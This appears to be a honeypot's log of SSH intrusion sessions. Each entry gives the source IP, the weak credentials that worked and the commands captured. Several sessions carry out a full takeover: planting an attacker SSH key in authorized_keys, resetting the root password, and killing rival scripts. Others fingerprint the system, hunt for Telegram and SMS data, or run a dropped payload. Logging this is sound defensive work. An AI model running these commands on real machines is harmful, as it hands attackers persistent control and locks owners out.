$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 brisk_durian_root (43.163.100.199) — Singapore, Singapore · 1 session · 19 cmds

2026-05-20 02:45 EDT · as root/1234

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:5mpPlradeL5q"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 savage_windmill_root (34.147.2.169) — Groningen, Netherlands · 2 sessions · 2 cmds

2026-05-20 02:01 EDT · as root/root

privilege check

$ id ×2

↳ privilege check

🎭 haywire_eagle_root_238 (35.196.1.238) — North Charleston, United States · 1 session · 1 cmd

2026-05-20 02:02 EDT · as root/root

privilege check

$ id

↳ privilege check

🎭 velvet_eagle_root_79 (35.255.113.79) — Council Bluffs, United States · 1 session · 1 cmd

2026-05-20 02:00 EDT · as root/root

privilege check

$ id

↳ privilege check

🎭 silent_silk_root (101.200.52.133) — Beijing, China · 2 sessions · 2 cmds

2026-05-19 02:59 EDT · as mysql/mysql, pi/raspberry

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 midnight_tiger_root_195 (159.65.144.195) — Bengaluru, India · 2 sessions · 2 cmds

2026-05-18 07:29 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 crimson_panda_root_59 (8.166.131.59) — Guangzhou, China · 1 session · 1 cmd

2026-05-19 23:13 EDT · as root/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 ashen_ciao_root (93.62.72.229) — Milan, Italy · 1 session · 9 cmds

2026-05-19 22:56 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 zealous_shadow_root_111 (83.235.16.111) — Athens, Greece · 1 session · 2 cmds

2026-05-19 22:10 EDT · as oracle/oracle2026

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sneaky_lantern_root_103 (39.96.190.103) — Beijing, China · 1 session · 1 cmd

2026-05-19 20:44 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 hollow_silk_root_152 (114.55.242.152) — Hangzhou, China · 1 session · 1 cmd

2026-05-19 20:05 EDT · as mysql/mysql

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 rusty_anatolia_root (101.44.36.61) — Istanbul, Turkey · 30 sessions · 30 cmds

2026-05-19 14:31 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 30x across 30 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×30

🎭 venomous_dimsum_root (47.239.240.68) — Hong Kong, Hong Kong · 12 sessions · 12 cmds

2026-05-19 10:10 EDT · as admin/admin, admin/password, deploy/deploy

Ran uname 12x across 12 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×12

🎭 wily_liberty_root (100.23.34.160) — Portland, United States · 1 session · 1 cmd

2026-05-19 13:20 EDT · as root/root

history snooping

$ history | tail -5

↳ history snooping

🎭 lurking_junk_root (8.218.120.171) — Hong Kong, Hong Kong · 38 sessions · 38 cmds

2026-05-07 03:53 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 38x across 38 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×38

🎭 molten_liberty_root_113 (43.153.36.113) — Santa Clara, United States · 1 session · 20 cmds

2026-05-19 12:21 EDT · as user/password

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "password\nE9C3uYG70VU8\nE9C3uYG70VU8"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nE9C3uYG70VU8\nE9C3uYG70VU8\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 restless_durian_root_156 (43.163.4.156) — Singapore, Singapore · 1 session · 1 cmd

2026-05-19 11:09 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 obsidian_silk_root (139.224.164.180) — Shanghai, China · 19 sessions · 19 cmds

2026-05-19 07:10 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 19x across 19 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×19

🎭 sneaky_steppe_root (77.83.72.79) — Moscow, Russia · 1 session · 1 cmd

2026-05-19 09:08 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 wily_peak (8.210.141.114) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-19 07:57 EDT · as deploy/deploy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 drowsy_pretzel_root (2.27.36.16) — Frankfurt am Main, Germany · 1 session · 19 cmds

2026-05-19 07:02 EDT · as root/root

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:owrNioMwzeok"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 vapor_viking_root (213.67.210.12) — Nälden, Sweden · 1 session · 9 cmds

2026-05-19 06:32 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 ashen_durian_root (104.43.56.65) — Singapore, Singapore · 105 sessions · 105 cmds

2026-05-15 00:24 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 175x across 175 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×105

🎭 rogue_jade_root_39 (101.28.202.39) — Chengde, China · 1 session · 1 cmd

2026-05-19 05:31 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 silent_cowboy_root (43.173.67.15) — Santa Clara, United States · 1 session · 19 cmds

2026-05-19 02:24 EDT · as root/admin

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:3UScRDpwZTtR"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 grumpy_frost_root (213.59.140.60) — Vladivostok, Russia · 1 session · 1 cmd

2026-05-19 01:55 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 derelict_orchid_root (43.160.204.7) — Singapore, Singapore · 1 session · 1 cmd

2026-05-18 23:05 EDT · as admin/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 unhinged_panda_root_161 (114.55.170.161) — Hangzhou, China · 1 session · 1 cmd

2026-05-18 22:03 EDT · as admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 lurking_toque_root (165.245.230.86) — Toronto, Canada · 2 sessions · 2 cmds

2026-05-07 04:32 EDT · as guest/guest, oracle/123456

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 glitchy_baguette_root_40 (130.110.250.40) — Marseille, France · 1 session · 9 cmds

2026-05-18 20:19 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 stoic_silk_root_141 (8.130.88.141) — Beijing, China · 1 session · 1 cmd

2026-05-18 17:13 EDT · as test/123456

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 placid_merlion_root (43.134.94.132) — Singapore, Singapore · 1 session · 1 cmd

2026-05-18 17:08 EDT · as root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 crimson_panda_root_225 (39.106.61.225) — Beijing, China · 1 session · 1 cmd

2026-05-18 15:32 EDT · as admin/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 wired_dimsum_root_27 (47.239.11.27) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-18 14:54 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 haywire_hockey_root (68.183.204.19) — Toronto, Canada · 1 session · 1 cmd

2026-05-18 11:38 EDT · as user/user

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 murky_lantern_root_176 (115.190.52.176) — Beijing, China · 1 session · 1 cmd

2026-05-18 11:27 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 grumpy_shadow_root_60 (186.6.185.60) — Santo Domingo, Dominican Republic · 1 session · 1 cmd

2026-05-18 11:27 EDT · as user/user

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 rabid_orchid_root_148 (47.236.42.148) — Singapore, Singapore · 1 session · 1 cmd

2026-05-18 11:20 EDT · as mysql/mysql

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 haywire_junk_root (54.46.105.56) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-18 10:36 EDT · as ubuntu/ubuntu

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 midnight_junk_root (165.154.6.75) — Hong Kong, Hong Kong · 1 session · 19 cmds

2026-05-18 08:53 EDT · as root/1234

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:4uQoAfdTLpSn"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 placid_eagle_root_113 (47.88.48.113) — Minkler, United States · 1 session · 1 cmd

2026-05-18 07:47 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 murky_jade_root_254 (8.140.27.254) — Beijing, China · 1 session · 1 cmd

2026-05-18 05:10 EDT · as oracle/oracle

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 clandestine_static_pi (181.205.14.114) — Medellín, Colombia · 2 sessions · 3 cmds

2026-05-18 00:48 EDT · as pi/raspberry

make executable → execute payload → execute from /tmp

$ cd /tmp && chmod +x ITwZYa3K && bash -c ./ITwZYa3K

↳ make executable

$ ./ITwZYa3K

↳ execute payload

$ scp -t /tmp/ITwZYa3K

↳ execute from /tmp

🎭 restless_clog_root (176.65.132.17) — Eygelshoven, The Netherlands · 24 sessions · 24 cmds

2026-05-17 21:15 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 24x across 24 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×24

🎭 vapor_cosmo_root (194.32.87.93) — Moscow, Russia · 1 session · 1 cmd

2026-05-17 21:45 EDT · as oracle/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 murky_panda_pi (120.55.4.115) — Hangzhou, China · 1 session · 1 cmd

2026-05-17 21:18 EDT · as pi/raspberry

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 scrappy_ghost_sol (195.178.110.26) — Andorra la Vella, Andorra · 6 sessions · 6 cmds

2026-05-17 19:54 EDT · as sol/123, sol/sol, solana/solana

Ran uname 6x across 6 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×6

↳ obfuscated system check

🎭 zealous_junk_root (20.2.235.190) — Hong Kong, Hong Kong · 2 sessions · 2 cmds

2026-05-15 05:30 EDT · as root/123456, test/123456

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 wily_stroopwafel_sol (80.94.92.183) — Amsterdam, The Netherlands · 235 sessions · 235 cmds

2026-05-06 18:29 EDT · as sol/123, sol/sol, solana/solana

Ran uname 847x across 847 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×235

↳ obfuscated system check

🎭 weary_mekong_root (203.171.29.193) — Hanoi, Vietnam · 32 sessions · 32 cmds

2026-05-17 17:53 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 21x across 21 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 zealous_neon_root (47.76.78.115) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-17 15:37 EDT · as root/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 drowsy_k-pop_root_4 (61.76.112.4) — Changwon, South Korea · 1 session · 19 cmds

2026-05-17 11:13 EDT · as root/password

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:5xqzsNfYcNUN"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 lurking_silk_root_2 (115.190.149.2) — Haidian, China · 1 session · 1 cmd

2026-05-17 07:21 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 gnarled_dragon_root_18 (58.210.182.18) — Suzhou, China · 1 session · 1 cmd

2026-05-17 06:46 EDT · as guest/guest

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 molten_cowboy_root_75 (74.208.24.75) — Kansas City, United States · 1 session · 1 cmd

2026-05-17 04:06 EDT · as ubuntu/ubuntu

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 haywire_wok_root (117.187.180.166) — Jinrongjie, China · 1 session · 1 cmd

2026-05-17 04:04 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 venomous_panda_root (47.104.163.51) — Qingdao, China · 1 session · 1 cmd

2026-05-16 20:20 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 baroque_neon_root_233 (165.154.22.233) — Hong Kong, Hong Kong · 1 session · 2 cmds

2026-05-16 19:30 EDT · as oracle/oracle@2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 spectral_hawker_root (167.172.73.9) — Singapore, Singapore · 1 session · 2 cmds

2026-05-16 19:29 EDT · as oracle/oracle@2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 silent_hanbok_root (222.111.225.250) — Jongno-gu, South Korea · 2 sessions · 4 cmds

2026-05-07 00:29 EDT · as oracle/oracle@123456, oracle/oracle@2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

